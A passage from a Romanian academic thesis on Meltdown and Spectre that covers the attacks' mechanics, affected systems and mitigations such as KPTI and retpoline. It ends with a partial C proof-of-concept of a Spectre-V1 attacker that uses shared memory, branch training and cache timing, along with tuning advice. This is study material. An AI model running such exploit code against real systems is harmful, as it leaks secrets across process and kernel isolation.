La momentul aparitiei, atacul Meltdown avea ca tinta orice fel de computer personal, ori masina virtuala in cloud. Se presupune ca atacatorul nu dispune de acces fizic asupra masinilor atacate, dar poate executa orice fel de cod in neprivilegiat, cu aceleasi drepturi ca un utilzator obisnuit (fara drepturi de root, ori administrator). Sistemul tinta este protejat de mecanisme considerate *state-of-the-art* la vremea respectiva (i.e. nu luam in considerarea mecanismele de protectie aparute ulterior care au ca rezultat mitigarea atacului, acestea fiind discutate in sectiunea pentru mitigare), precum *ASLR* si *KASLR*. Sistemul va dispune de asemenea de un procesor care suporta *Out-of-Order Execution*. Atacul nu se bazeaza pe niciun fel de vulnerabilitate de tip software, exploatand doar hibe la nivel hardware. Astfel, se presupune rularea unui sistem de operare fara probleme cunoscute care poat fi abuzate pentru elevarea nivelului de privilegii. Tinta atacatorului va fi orice tip de informatie de valoare precum chei de acces, parole, hash-uri, date personale, etc.

Atacul presupune obtinerea adresei din kernel a secretului prin diferite mecanisme (care nu reprezinta scopul acestei lucrari), ori ghicirea acesteia. Ulterior se executa pasii

descrisi mai sus. In prima faza va trebui sa se execute un set de instructiuni alese special pentru a folosi adresa tinta si a fi executate in mod speculativ, devenind ulterior tranzitorii in urma declansarii unei exceptii. Intre decodarea adresei virtuale in adresa fizica, accesarea valorii corespunzatoarea si incarcarea in cache a liniei corespunzatoare *(1)*, si verificarea drepturilor de acces asupra zonei de memorie conform drepturilor de utilizator si restrictiilor din tabela de traducere *(2)*, se produce un *race condition*. In cazul in care *(1)* se executa mai rapid decat *(2)* starea microarhitecturala va fi modificata in modul dorit, iar abia apoi sistemul de operare va constata accesul nepermis si va declansa o exceptie. Ajunsi in acest punct, rolul emitatorului este finalizat. Pentru receptarea mesajului se gestioneaza exceptia de tip *Segmentation Fault* declansata de sistemul de operare printr-una din metodele descrise anterior, iar apoi se foloseste *FLUSH and RELOAD* pentru a recupera secretul (3.1.4).

Acesti trei pasi determina obtinerea unui byte din secret. Pentru obtinerea intregului secret se itereaza prin toate adresele de memorie ale caror valoare este de interes. In mod similar se poate descarca intreaga memorie fizica a sistemului tinta.

3.2 Sisteme evaluate

Conform particularitatilor atacului, orice sistem al carui hardware este vulnerabil va fi vulnerabil indiferent de software-ul care ruleaza (considerand ca patch-ul software nu este aplicat). Intr-adevar s-a constatat ca atacul poate dezvalui informatii secrete unui utlizator neprivilegiat pe multiple sisteme utilizate la scara larga.

3.2.1 Linux

Meltdown a putut fi rulat pe multiple versiuni ale kernel-ului de Linux, de la 2.6.32 la 4.13.0, acestea mapand adresele kernelului in spatiul virtual al oricarui proces neprivilegiat, bininteles cu restrictiile de acces aferente fiind implementate corect in tabelele de traducere a adreselor [20].

3.2.2 Microsoft Windows

Meltdown a putut fi rulat pe un sistem cu Windows 10, cu actualizarile la zi, chiar inainte de aplicarea patch-urilor. In ciuda modului diferit in care este mapata memoria fizica si management-ului diferit al acesteia, majoritatea memoriei fizice tot se poate citi prin intermediul atacului. Cercetatorii au putut citit intregul binar al kernelul-ului de Windows [20].

3.2.3 Android

Deoarece Android-ul are la baza to Kernel-ul de Linux, succesul atacului pe aceasta platforma depinde de procesorul instalat pe dispozitiv. Astfel in urma testelor asupra unui Samsung Galaxy S7 ruland un Linux Kernel cu versiunea 3.18.14, atacul nu a avut succes pe asupra procesorului ARM Cortex A53, dar a functionat asupra celor marca Exynos dezvoltate de Samsung.

3.2.4 Containere

Tehnologiile de containerizare care impart intre ele acelasi kernel sunt si ele vulnerabile. Meltdown poate fi rulat cu succes in containere Docker, LXC, sau OpenVZ si s-a demonstrat ca prin intermediul lui se pot extrage informatii nu numai din kernel, dar si din celelalte containere care ruleaza pe aceeasi masina fizica. Rezultatul vine din cauza ca fiecare container imparte kernel-ul cu toate celelalte, asadar orice proces va avea incarcat in spatiul sau virtual de memorie intreaga memorie fizica a sistemului, prin intermediul kernel-ului impartit cu celelalte containere si procese care ruleaza pe acelasi sistem.

3.2.5 ARM si AMD

In ciuda succesului pe arhitectura *Intel* si pe cateva modele *Exynos*, atacul nu a putut fi executat cu succes pe procesoare *AMD*. Incazul *ARM*, signrul procesor afectat ar fi modelul *Cortex-A75*, conform [9]. Deoarece detaliile de implementare ale microarhitecturilor nu sunt in general dezvaluite publicului larg nu se poate determina cu exactitate ce a determinat aceste diferente.

3.3 Performanta

Performanta atacului depinde de modul si eficienta cu care se castiga *race condition*-ul. Indiferent de locatia din memorie in care se afla datele dorite, s-a demonstrat ca *race condition*-ul poate fi castigat, dar diferentele de performanta sunt notabile.

3.3.1 Secretul in cache

Cand datele sunt in imediata apropiere a procesorului (in cache-ul *L1*), *race condition*-ul poate fi castigat cu usurinta. Astfel s-au obtinut performante ridicate de pana la 582 KB/s cu rata de eroare de pana la 0.003% (Intel Core i7-8700K). O varianta mai lenta a atacului care reduce eroarea la 0 ajunge la viteze de 137 KB/s [20].

In cazul in care secretul se afla in cache-ul *L3*, dar nu in cache-ul *L1*, *race condition*-ul inca se poate castiga des, dar viteza va fi mult mai mica, de pana la 12.4 KB/s, cu erori de pana la 0.02% [20].

3.3.2 Secretul in afara cache-ului

In acest caz castigarea *race condition*-ului este mai dificila. S-au observat rate de transimitere a datelor de sub 10 B/s pe majoritatea sistemelor. Aceste rezultate au putut fi imbunatatit cu ajutorul a doua optimizari. Acestea presupun preincarcarea zonelor de memorie din cache prin intermediul unor thread-uri care ruleaza in paralel (conform [11]) si abuzand de implemntarea cache-ului conform principiului localitaii (vezi 3.1.2) prin accesarea speculativa a zonelor adiacente tintei, astfel incarcand in cache si adresa tinta. Optimizarile cresc viteza de citire pana la 3.2 KB/s [20].

3.4 Metode de mitigare

3.4.1 Hardware

Meltdown nu exploateaza niciun defect de natura software, ci ocoleste restrictiile de acces prezente la nivel hardware prin intermediul executei instructiunilor *out-of-order*.

Considerand mecanismele exploatate in cadrul acestui atac, doua contramasuri posibile ar fi eliminarea completa a *out-of-order execution*, sau serializarea instructiunilor care verifica permisiunile de acces si accesarea propriu-zisa a zonei de memorie, pentru a evita executarea acestora in paralel. Aceaste solutii nu ar fi fezabile intrucat impactul pe care l-ar aduce asupra performantei este mult prea mare.

O solutia mai realista ar fi separarea la nivel hardware a zonei utilizatorului si a zonei Kernel printr-un *bit* suplimentar care marcheaza activarea acestui sistem. In cazul in care ar fi activat se impune ca adrese kernel-ului sa se regaseasca in jumatatea superioara a memoriei, iar adresele utilizatorului in jumatatea inferioara. Acest mecanism nu ar avea un impact neglijabil asupra performantei, deoarece nivelul de permisiuni poate fi dedus direct in adresa virtuala, astfel dreptul de acces putand fi confirmat sau infirmat direct, fara accesari suplimentare ale tabelei de traducere.

3.4.2 Software – KAISER

Deoarece rezolvarea problemelor prezente in hardware-ul aflat in prezent in folosinta este imposibil de implementat in practica, a trebuit gasita o solutie de natura software. Meltdown este posibil deoarece adresele kernel sunt mapate in spatiul procesului chiar daca aceste ruleaza neprivilegiat. Adresele virtuale mapate sunt legitime si corespund unor adrese fizice. Singurul mecanism care limiteaza accesul unui utilizator oarecare in spatiul kernel-ului consta in restrictiile prezente in tabelele de traducere a adreselor fiecarui proces. Acest mecanism functioneaza la nivel arhitectural, rezultatul final al executiei fiind cel asteptat. La nivel microarhitectural, s-a demonstrat ca prin intermediul executiei instructiunilor intr-o alta ordine, in mod speculativ, se pot accesa din spatiul user-ului

zone de memorie din kernel inainte ca dreptul de acces sa fie confirmat. Soluta naturala propusa a fost utilizarea a doua spatii de memorie separate pentru fiecare proces: unul dedicat utilizatorului in care kernel-ul nu este mapat, si unul dedicat kernel-ului in care spatiul utilizatorului nu este mapat. Din diverse motive de performanta si practicalitate, printre care faptul ca nemaparea spatiului utilizatorului in Kernel ar presupune rescrierea unor portiuni considerabile din Kernel, s-a ajuns la implementarea pe majoritatea sistemelor a unei solutii bazate pe KAISER ([10]) (in Kernel-ul de Linux aceasta poarta numele de KPTI sau PTI – *Kernel Page-Table Isolation*).

KAISER a fost propus ca solutie pentru atacurile asupra *Kernel Address Space Layout Randomization* (KASLR) si presupune o metode de separare a spatiului kernel de spatiul utilizatorului. Acest mecanism de protectie are la baza conceptul de spatiu de adrese fantoma (*shadow address space*). Astfel, in mod neprivilegiat adresele kernel nu sunt mapate, iar in mod privilegiat adresele utilizatorului sunt mapate si vegheate de mecanismele de securitate *SMEP* si *SMAP* care previn executia codului unui utilizator in spatiul kernel, sau posibile coruptii ale memoriei. Schimbarea intre cele doua contexte se face foarte usor, prin aplicarea unei masti pe biti asupra registrului `CR3`, care se retine adresa tabelei de traducere corespunzatoare contextului curent. Implementarea acestei solutii previne atacul Meltdown, intrucat in modul de rulare neprivilegiat nu exista adrese virtuale care sa corespunda unor zone sensibile din kernel. S-a demonstrat ca aceasta solutie are costuri de performanta neglijabile, in medie de 0.28% [10].

3.5 Reproducerea Atacului

3.5.1 Platforma

Atacul se poate reproduce cu succes folosind masina virtuala si ghidul disponibile pe platforma SEEDLabs [8]. Mediul virtualizat este important intrucat ofera flexibilitatea rularii sistemului cu un Kernel invechit care este inca vulnerabil la atacul *Meltdown*. In acest sens se foloseste o masina virtuala care ruleaza *Ubuntu 16.04* cu versiunea 4.8.0 cu KPTI neimplementat a Kernel-ului Linux. De asemenea pentru succesul experimentului este necesara rularea pe o masina ce are instalat un procesor marca *Intel* mai vechi de generatia a 9-a, deoarece incepand cu arhitectura *Ice Lake* Intel a iceput sa introduca patch-uri la nivel de hardware (*in silicon*) pentru Meltdown si Spectre.

3.5.2 Aspecte importante

In scopul reproducerii atacului se va crea un scenariu fictiv ce indeplineste multiple conditii favorabile montarii Meltdown, in scopul evidentierii efectelor pe care le poate avea acesta asupra unui sistem. Cunostintele ilustrate astfel nu vor servi decat ca o baza

a intelegerii, si nu ca o unealta pentru atacul unui sistem real.

Secretul

Se creeaza un modul de kernel in interiorul caruia se va retine un mesaj secret cu textul *"Cheia secreta din spatiul kernel"* si adresa acestuia se va afisa in buffer-ul de mesaje dedicat Kernel-ului. Modulul de kernel se compileaza si ulterior se instaleaza pe sistem, dupa care se retine adresa secretului pentru a directiona atacul exact asupra tintei. Declararea si listarea in buffer-ul de kernel se observa in 3.5.2, iar instalarea cat si aflarea adresei secretului se observa in 3.5.2.

```
1  static char secret[32] = "Cheia secreta din spatiul kernel";
2  /* ... */
3  printk("secret data address:%p\n", &secret);
```

Listing 3.2: Declararea secretului si afisarea adresei

```
1  # insmod MeltdownKernelModule.ko
2  # dmesg | grep secret
3  [21701.143045] secret data address:f8997000
```

Listing 3.3: Instalarea modulului. Aflarea adresei secretului numit "secret"

Optimizari

Pentru a creste sansele castigarii *race-condition-ului* se iau in calcul toate cel ce urmeaza:

1. la fiecare initiere a atacului se incarca secretul in cache
2. succesul atacului depinde de o sincronizare fina la nivel microarhitectural, asadar succesul la o singura rulare nu este garantat. Astfel, in practica pentru aflarea unui byte, atacul asupra aceleiasi zone de memorie se repeta de multiple ori, iar la urma se folosesc niste tehinici statistice pentru identificarea valorii celei mai probabile pentru adresa respectiva **??**. Am obtinut rezultate bune cu repetari intre 50 si 1000. Un numar mai mic de repetari rezulta in viteze mai mari de citire, dar rata a erorii mai mare, iar un numar mai mare de repetari rezulta in viteze mai mici de citire, dar cu precizie mai mare.
3. pragul in functie de care diferentiem *cache-hituri* de *cahe-miss*-uri trebuie calibrat. Mai multe detalii in
4. chiar inainte de executia instructiunilor tranzitorii poate fi benefic sa *"tinem unitatile de calcul ocupate"* prin executarea unor instructiuni goale.

5. marcarea unor variabile ca fiind statice (keywork `static`), sau accesarea lor in mod repetat poate preveni compilatorul din a optimiza secventa respectiva, ceea ce ar determina esecul experimentului. Experimente personale au aratat ca acest fapt este foarte important in cazul vairabile `junk` utilizata la masurarea timpilor de acces in cadrul *FLUSH and RELOAD* **??**.

3.5.3 Starea actuala - Testarea efectului KPTI

Sistemul meu principal ruleaza ultima versiune disponibila a kernel-ului de linux in data de 25.05.2022, `5.17.9-arch1-1`. Am verificat prezenta *KPTI* pe sistemul meu de lucru principal cu ajutorul urmatoarei comenzi, iar rezultatul a fost pozitiv.

```
1  # uname -r
2  5.17.9-arch1-1
3
4  # sudo cat /sys/devices/system/cpu/vulnerabilities/meltdown
5  Mitigation: PTI
```

Listing 3.4: Versiune Kernel si Verifcare prezenta KPTI

Intr-adevar, incercarea de a rula aceeasi imlementarea a atacului Meltdown pe acest sistem protejat nu duce la niciun rezultat.

Capitolul 4

Atacuri Spectre

Spectre [19] este o clasa de atacuri asemanatoare cu *Meltdown*, care exploateaza efectele secundare ale executiei speculative pentru a extrage informatii in mod malitios din spatiul de memorie al unei victime. La nivel inalt, se bazeaza pe gasirea sau introducerea unei secvente de instructiuni in spatiul de adrese al procesului victima. Mai apoi, executia acestei secvente va crea un canal de comunicare ascuns prin care sunt transmise date din spatiul de memorie al victimei catre atacator. Similar cu *Meltdown* [20], atacul nu se bazeaza pe niciun fel de vulnerabilitate software, ci abuzeaza vulnerabilitati microarhitecturale la nivel hardware. Chiar daca in urma executarii speculativ a unei secvente de instructiuni, se revine la o stare anterioara, schimbari aparute pe parcus la nivel da cache pot persista, aceasta fiind vulnerabilitatea principala.

In acest capitol se vor prezenta cele doua variante principale din clasa de atacuri Spectre. In apendice va fi descrisa o implementare demonstrativa a variantei 1, care exploateaza o zona de memorie partajata cu procesul victima.

4.1 Diferente fata de Meltdown

Prima diferenta fata de *Meltdown* este ca variantele *Spectre* evita provocarea unei exceptii prin accesul ilegal al unei zone de memorie. In schimb, se bazeaza ori pe antrenarea *branch-predictor-ului* ori pe injectarea unor adrese alese special in *branch-target-buffer* cu scopul de a accesa zona de memorie de interes, doar in mod speculativ. Astfel, nu este necesara gestinarea exeptiilor, atacul interferand minimal, chiar insesizabil, cu executarea normala a programului.

A doua diferenta consta in faptul ca *Meltdown* exploateaza o vulnerabilitate specifica procesoarelor *Intel* si catorva procesoare *ARM* prin intermediul carora instructiuni executate speculativ pot ignora restrictiile impuse de bitul *user/supervisor* prezent in intrarile din tabele de traducere ale adreselor virtuale. Astfel, *Meltdown* poate accesa memeora Kernel si implicit poate citi toata memoria fizica a sistemului prin intermediul

unui canal ascuns. *Spectre*, in schimb extrage prin intermediul unei zone de memorie partajata si a unui canal implementat in zona respectiva de memorie, doar informatii la care victima tinta are acces. Se violeaza astfel izolarea inter-proces, dar se poate accesa direct zona de Kernel.

Spre deosebire de *Meltdown*, atacurile *Spectre* afecteaza o plaja mult mai larga de arhitecturi. Mai mult, mecanismul care sta la baza mitigarii *Meltdown* (KAISER [10]) nu protejeaza in niciun fel impotriva variantelor *Spectre*.

4.2 Spectre V1

Varianta intai de *Spectre* presupune manipularea *branch-predictor-ului* 2.2.3 in prezicerea eronata a ramurei de executiei in cadrul unei structuri de decizie. Astfel, prin intermediul executiei speculative un atacator poate citi zone arbitrare de memorie din afara contextului sau de executie, ceea ce violeaza principiile de izolare impuse de memoria virtuala.

4.2.1 Descrierea Atacului

O secventa de cod precum 4.2.1 se poate regasi in cadrul unui apel de functie (e.g. functie de sistem sau parte dintr-o librarie), care primeste ca argument o variabila dintr-o sursa oarecare, neverificata (e.g. in urma unui apel catre un API). Sa consideram situatia in care procesul care ruleaza codul respectiv (i.e. victima) are acces la un tabloul cu elemente de tip byte `array` de dimensiune `array_size` si la tabloul cu acelasi tip de elemente, `probe` de dimensiune $256 * 4096 = 1MB$. Verificarea de la inceputul secventei de cod are rol in securizarea programului. In eventualitatea rularii secventei cu o valoare in `x` mai mare sau egala cu `array_size` sa se evite declansarea unei exceptii (e.g. *Segmentation Fault*), sau a accesarii unei alte zone de memorie din cadrul de executie a procesului victima (e.g. daca valoarea din x reprezinta diferenta dintre adresa de inceput a tabloului `array` si adresa de inceput a unui alt tablou `secret`).

```
1  if (x < array_size) {
2    /* prin executarea speculativa putem accesa date din afara
3       tabloului array fara declansarea unei exceptii */
4    data = probe[array[x] * 4096];
5  }
```

Listing 4.1: Executarea speculativa in structura decizionala

Se considera cazul in care `array_size` nu este incarcat in cache. Determinarea ramurii care va fi urmata de fluxul de executie va fi semnificativ intarziata din cauza cererii din *DRAM* a valorii variabilei respective, care precede evaluarea conditiei logice. Pentru a nu stagna executia si a tine unitati de lucru din *CPU* inactive se realizeaza o presupunere

educata ce vizeaza ramura pe care se va continua executia prin intermediul *BPU* (vezi 2.2.3). Urmand prezicerea se pot executa speculativ instructiunile ce urmeaza.

Acest tipar poate fi exploatat dupa cum urmeaza. Un atacator poate executa intentionat in mod repetat zona respectiva de cod cu valori mai mici decat `array_size`. Astfel, la urmatoarea executie a zonei respective, *BPU* va prezica ca fluxul de executie va urma prima ramura a structurii decizionale (corespunzatoare evaluarii conditiei logice la *True*). La urmatoarea executarea a zonei respective atacatorul va transmite un `x` cu o valoare malitioasa aleasa special in afara limitelor impuse de `array_size` ca in urma evaluarii `array[x]` sa intoarca o valoare `k` dintr-o alta zona din spatiul de memorie al victimei. Fereastra de timp poate fi suficiente de mare ca *linia 4* din 4.2.1 sa fie executata speculativ. Astfel, va ajunge in cache o linie din memorie corelata cu byte-ul `k` ce face parte din secretul accesat ilegal. Dupa ce valoarea din `array_size` este primita din *DRAM*, iar conditia logica este evaluata la *False*, starea CPU-ului se intoarce la cea dinaintea executarii speculative. *Spectre*, exploateaza faptul ca in urma executarii speculative eronate, la nivel microarhitectural, starea cache-ului din *CPU* nu este resetata.

Pentru finalizarea atacului si recuperarea datelor transmise pe canalul ascuns se procedeaza ca in atacul *Meltdown* (vezi 3.1.4). Se utlizeaza tehnici precum *FLUSH and RELOAD*, sau *EVICT + TIME* pentru a masura timpul de acces in fiecare frame de $4KB$ din tabloul `probe`. In cazul in care timpul de acces pentru variabila `k` este semnificativ mai scazut comparativ cu al celorlalte adrese, concluzionam ca byte-ul de date tansmis corespunde cu valoarea `k` [19].

4.2.2 Reproducerea atacului

In practica, urmand strict detaliile descrise anterior, vom obtine un nivel scazut de acuratete. Deoarece comportamentul canalului de comunicare ascuns nu este constant, ci fluctueaza si executarea cu succes in mod speculativ a instructiunilor dorite nu este garantata, este necesara repetarea pasilor de multiple ori pentru fiecare byte, iar apoi determinarea statistica a valorii celei mai probabile.

S-a confirmat ca aceasta varianta a *Spectre* afecteaza arhitecturile *Intel*, *AMD Ryzen* cat si implementari *ARM* care suporta executia speculativa. O varianta neoptimizata a atacului implemenatata in limbajul `C` care este prezentata in lucrarea de cercetare [19] atinge viteze de 10 KB/s pe un sistem cu un procesor *Intel i7-4650U*.

Javascript

Atacul s-a dovedit practic si in contextul browserelor web. S-a reusit implementarea aceste variante a *Spectre* in JavaScript si citirea unor informatii private in mod neprivilegiat din sptiul de memorie al procesului in cadrul caruia ruleaza codul. Deoarece instructiunea `clflush` nu este accesibila prin intermediul limbajului acest, se foloseste

o tehnica alternativa precum *EVICT and RELAOD*. De asemenea instructiunea `rdtscp` nu este disponibila, iar motorul din Chrome nu ofera un ceas de mare precizie pentru a preveni *timing attacks*. Pentru a depasi aceste obstacole se poate construi un ceas cu precizie suficient de mare prin incrementarea intr-un thread separat a unei zone de memorie controlata de atacator [19].

Experimente personale

Dezvoltand ideile anterioare am realizat o implementare personala care ilustreaza un scenariu mai realist in care atacatorul ruleaza un proces separat de victima si imparte cu aceasta doar o zona de 1MB de mememorie partajata. Implementarea cat si detaliile se gasesc in Apendix-ul A.

4.3 Spectre V2

Varianta a doua a clasei de atacuri *Spectre* presupune otravirea (*poisoning*) salturilor indirecte (*indirect branches*) (eg. o instructiune de tip `jump` la o adresa retinuta intr-un registru). Un atacator poate astfel determina executia speculativa a unor instructiuni alese special, prin tehnici care amintesc de ROP (**??**), pentru accesarea si apoi extragerea prin intermediul unui canal secret ale unor date accesibile victimei.

4.3.1 Descrierea atacului

In momentul unui salt indirect, *branch-predictor-ul* va incerca sa prezica adresa la care urmeaza sa se continue executia pentru a executa speculativ in avans instructiunile ce urmeaza. In vasta majoritate a cazurilor se obtine o imbunatatire a timpului de executie a programului ca urmare a acestei tehinici, deoarece timpul de recuperare a adresei de destinatie poate fi considerabil in cazul in care adresa de memorie nu este in cache-ul din *CPU*. Prezicerea se bazeaza pe istoricul adreselor accesate in trecut in urma aceluiasi salt indirect. Aceste date sunt retinute intr-o structura numita *branch target buffet* si sunt codificate in funtie de arhitectura in functie de ultimii `k` biti ai adresei corespunzatoare.

Antrenarea

Atacul incepe din contextul atacatorului. Acesta mimeaza salturile indirecte executate in contextul victimei. Astfel se poate plasa un salt indirect in contextul atacatorului la aceeasi adresa virtuala la care se regaseste saltul in contextul victimei, sau la o adresa care are in comun ultimii `k` biti cu adresa corespunzatoare a victimei. Prin repetarea saltului la o adresa aleasa de atacator aceasta va ajunge in *branch targe buffer*, iar *branch-predictor-ul* va fi antrenat sa prezica ca fluxul de executie va continua la adresa respectiva. Acest

comportament depinde doar de adresa virtuala si nu ia in considerarea *PID-ul*, adresa fizica, etc. Astfel, dupa antrenarea, daca in contextul victimei se executa saltul aferent, se vor executa speculativ instructiuni incepand cu adresa injectata de atacator.

S-a observat ca atacatorul poate injecta chiar si adrese de memorie la care nu are acces. Astfel, in contextul sau pentru antrenare poate accesa direct adrese ilegale, iar apoi sa gestioneze eventualele exceptii declansate. In acest fel, atacatorul poate alege orice adresa valida in contextul victimei, chiar daca nu are un corespondent valid in contextul sau.

Alegerea adresei de destinatie

In urma saltului indirect victima va continua fluxul de executie la adresa injectata de atacator. Luand inspiratie din atacurile de tip *ROP* (2.3.4) putem alege o zona de memorie in care incepe un asa numit *Gadget Spectre*. Un *Gadget Spectre* este o secventa de instructiuni a carei executie va transmite informatii private ale victimei, dorite de atacatori, printr-un canal secret.

Presupunand ca victima are acces la doi registri `R1` si `R2`, un gadget suficient ar trebuie sa contina doua instructiuni dupa cum urmreaza. Prima instructiune aduna (scade, XOR-eaza, inmulteste, etc.) adresa retinuta in registrul `R1` la registrul `R2`. A doua instructiune acceseaza valoarea de la adresa registrului `R2`. Un atcator va detine in acest scenariu control asupra a ce adresa de memorie acceseaza (prin intermediul `R1`) si asupra modului in care se zona de memorie dorita este asociata la o alta adresa citita prin intermediul `R2`.

Gadget-urile folosite trebuie sa faca parte din zona executabila din contextul victimei pentru a garanta executia speculativa a acestora in *CPU*. Gadget-urile pot fi astfel alese din colectia larga de librarii partajate la care victima are acces, fara a fi nevoie sa ne folosim de codul victimei.

4.3.2 Rezultate

In final se obtine un atac asemanator conceptual cu *ROP*, dar care exploateaza chiar si cod lipsit de buguri. Gadget-urile ruleaza doar o intr-o fereastra scurta de timp si trebuie sa transmita intformatia printr-un canal ascuns pentru ca aceasta sa poata fi recuperata in urma executiei speculative. Multiple teste au demonstrat ca tehnica este eficienta, reusind sa injecteze adresa malitioasa in peste 98% din cazuri in cadrul a milioane de iteratii [19].

4.4 Metode de Mitigare

De la momentul divulgarii acestei clase de atacuri, companiile si cercetatorii au investit resurse considerabile pentru devoltarea unor metode de mitigare a vulnerabilitatilor prezente in sistemele afectate. In aceasta secriune vor fi prezentate cateva dintre cele mai relevante metode de mitigare.

4.4.1 Software

Compilatoare

In urma unor actualizari pentru principalele compilatoare folosite au fost introduse multiple optiuni care vizeaza mitigarea *Spectre V1*. Instructiunile principale sunt `-mconditional-branch=all-fix` si `-mconditional-branch=pattern-fix` care rezulta intr-o reducere a executiei speculative. In urma activarii uneia dintre cele doua optiuni se realizeaza o analiza statica a codului pentru identificarea secventelor cu risc inalt. Ulterior sunt introduse in zonele vulnerabile instructiuni de tip `LFENCE`, care determina procesorul sa astepte pentru ca toate instructiunile precedente sa fie executate, astfel prevenind potentiale instructiuni executate speculativ din a modifica starea microarhitecturala. Ambele optiuni vin cu un cost ridicat de performanta, care poate sa fie prea ridicat, afecand practicalitatea codului [25].

Alternativ se pot utliza flag-uri de optimizare precum `-O0` sau `-O3`, care au ca efect schimbari la nivel de instructiuni de asamblare. Din experimente personale am observat ca variantele implementate de mine ale *Spectre V1* nu confera niciun rezultat cand sunt folosite aceste flag-uri de optimizare.

Retpoline

Retpoline este o secventa speciala de cod care transforma un stalt indirect intr-o instructiune de tip `ret` pentru a garanta ca *RSB* (*Return Stack Buffer*) este folosit in loc de *BTB* (*Branch Targe Buffer*). Orice predictie gresita a adresei dintr-un salt indirect rezulta intr-o bucla infinita in cadrul executiei speculative. Practic, este eliminata executia speculativa pentru salturile indirecte. *AMD* a propus o implementare alternativa a *Retpoline*, specifica arhitecturii lor care obtine rezultate mai bune [2].

Retpoline a dat rezultate bune pe arhitecturile *Intel* si *AMD*, dar nu si pentru *ARM*.

ARM

Pentru arhitecturile mai vechi s-au introdus instructiuni care pot invalida adresele prezis in *BTB*.

4.4.2 Hardware

Intel/AMD IBPB

Reprezinta o bariere care odata introdusa in cod impiedica executia unui salt indirect din a influenta salturi indirecte ce iau loc dupa bariera [16] [1].

Intel/AMD STIBP

Aceasta tehnica impiedica partajarea starii din *Branch Predictor* intre hiper-thread-uri ale aceluiasi nucleu [16] [1].

Intel/AMD (e)IBRS

Indirect Branch Restricted Speculation are ca tinta atacurile de tip *Spectre V2*. Considerand ca intr-un sistem exista 4 nivele de privilegii in baza carora functioneaza unitatile de prezicere. Aceasta solutie incearca sa previna straturi care ruleaza cu un nivel scazut de privilegii sa influenteze straturi care functioneaza la un nivel inalt de privilegii. Pe noile arhitecturi *ARM* s-au introdus solutii asemanatoare cu numele *FEAT_CSV2* [16] [1].

4.5 Starea Actuala

Principalele tehinici de mitigare folosite in practica la care recurge sistemul de operare sunt *Retpoline* si *(e)IBRS*. *Retpoline* este folosit in cazul in care mitigarile la nivel de hardware nu sunt disponibile, sau in cazul in care impactul asupra performantei este mai ridicat decat in cazul solutiei software. In restul cazurilor sistemul de operare va recurge ce mai probabil la utilizarea *IBRS*, sau a solutiilor similare pe alte arhitecturi.

In ciuda eforturilor de mitigare, un nou studiu a fost publicat ([2]) care demonstreaza cum acestea pot fi ocolite, implementand o varianta puternica a *Spectre V2* numita *Branch history injection*. Prin intermediul acesteia se pot extrage informatii in mod neprivilegiat din memoria kernel prin intermediul unui program executat in userland.

Capitolul 5

POC – Spectre-V1

5.1 Atacator

```
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/file.h>
#include <errno.h>
#ifdef _MSC_VER
#include <intrin.h>         /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h>      /* for rdtscp and clflush */
#endif

/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (108)  /* assume cache hit if time <=
 threshold */

uint8_t *array2;
unsigned int array1_size = 16;
uint8_t array1[16] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };

const char *lock_file_name = "spectre.lock";
const char *shared_memory_name = "shared_mem";
const char *index_file_name = "index.txt";
int fd_lock, shared_fd;

```

```
30  int results[256];
31
32  void read_index(size_t index, int tries, int train_rounds, int
     round_length) {
33    static FILE *f;
34    static int i, j, k, mix_i, locked;
35    static unsigned junk = 0;
36    static size_t training_x;
37
38    // acquire lock
39    locked = -1;
40    while (locked != 0) {
41      fd_lock = open(lock_file_name, O_CREAT);
42      locked = flock(fd_lock, LOCK_EX);
43    }
44
45    /* output position to be read
46      There are round_length - 1 training inputs
47      and 1 malicious input, repeated train_round times */
48    f = fopen(index_file_name, "w");
49    training_x = tries % array1_size;
50
51    fprintf(f, "%d ", train_rounds * round_length);
52    for (i = 0; i < train_rounds; ++i) {
53      for (j = 0; j < round_length - 1; ++j) {
54        fprintf(f, "%zu ", training_x);
55      }
56      fprintf(f, "%zu ", index);
57    }
58    fclose(f);
59
60    for (i = 0; i < 256; i++)
61      _mm_clflush(&array2[i * 4096]);  /* intrinsic for clflush instruction
       */
62
63    // release lock
64    unlink(lock_file_name);
65    flock(fd_lock, LOCK_UN);
66    close(fd_lock);
67
68    // when it dissapears, the victim processed everything
69    // and the sidechannel can be read
70    while (access(index_file_name, F_OK) != -1);
71
72    /* Time reads. Order is lightly mixed up to prevent stride prediction
      */
73    register uint64_t time1, time2;
```

```
74      static volatile uint8_t *addr;
75      for (i = 0; i < 256; i++) {
76        mix_i = ((i * 167) + 13) & 255;
77        addr = &array2[mix_i * 4096];
78        time1 = __rdtscp(&junk);            /* READ TIMER */
79        junk = *addr;                       /* MEMORY ACCESS TO TIME */
80        time2 = __rdtscp(&junk) - time1;    /* READ TIMER & COMPUTE ELAPSED
       TIME */
81        if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[training_x])
82          results[mix_i]++;  /* cache hit - add +1 to score for this j */
83      }
84    }
85
86    int main(int argc, const char **argv) {
87      // map share memory area to array2 (cache side channel)
88      int fd = open(shared_memory_name, O_RDONLY);
89      array2 = (uint8_t*)mmap(NULL, 256 * 4096, PROT_READ, MAP_SHARED, fd, 0)
       ;
90
91      if (array2 == MAP_FAILED) {
92        printf("map failed %d >< %d\n", errno, EACCES);
93        return 0;
94      }
95
96      remove(lock_file_name);
97
98      int i, best_char, printed = 0;
99      const int no_readings = 5,
100               train_rounds = 4,
101               round_length = 8;
102
103     size_t offset = 0;
104     if (argc == 2) {
105       sscanf(argv[1], "%zu", &offset);
106     }
107     printf("Starting from offset %zu\n\n", offset);
108
109     printf("%016lX | ", offset);
110     for (int tries = 0; ; ++tries) {
111       // reset results
112       for (i = 0; i < 256; ++i) {
113         results[i] = 0;
114       }
115
116       // performa the attack
117       for (i = 1; i < no_readings; ++i) {
118         read_index(offset, tries, train_rounds, round_length);
```

```
119       }
120
121       // select best scoring caracter
122       best_char = -1;
123       for (i = 0; i < 256; i++) {
124         if (best_char < 0 || results[i] >= results[best_char]) {
125           best_char = i;
126         }
127       }
128
129       // human readable hexdump
130       printed += 1;
131       printf("%c", (best_char > 31 && best_char < 127 ? best_char : '.'));
132       if (printed % 0x50 == 0) {
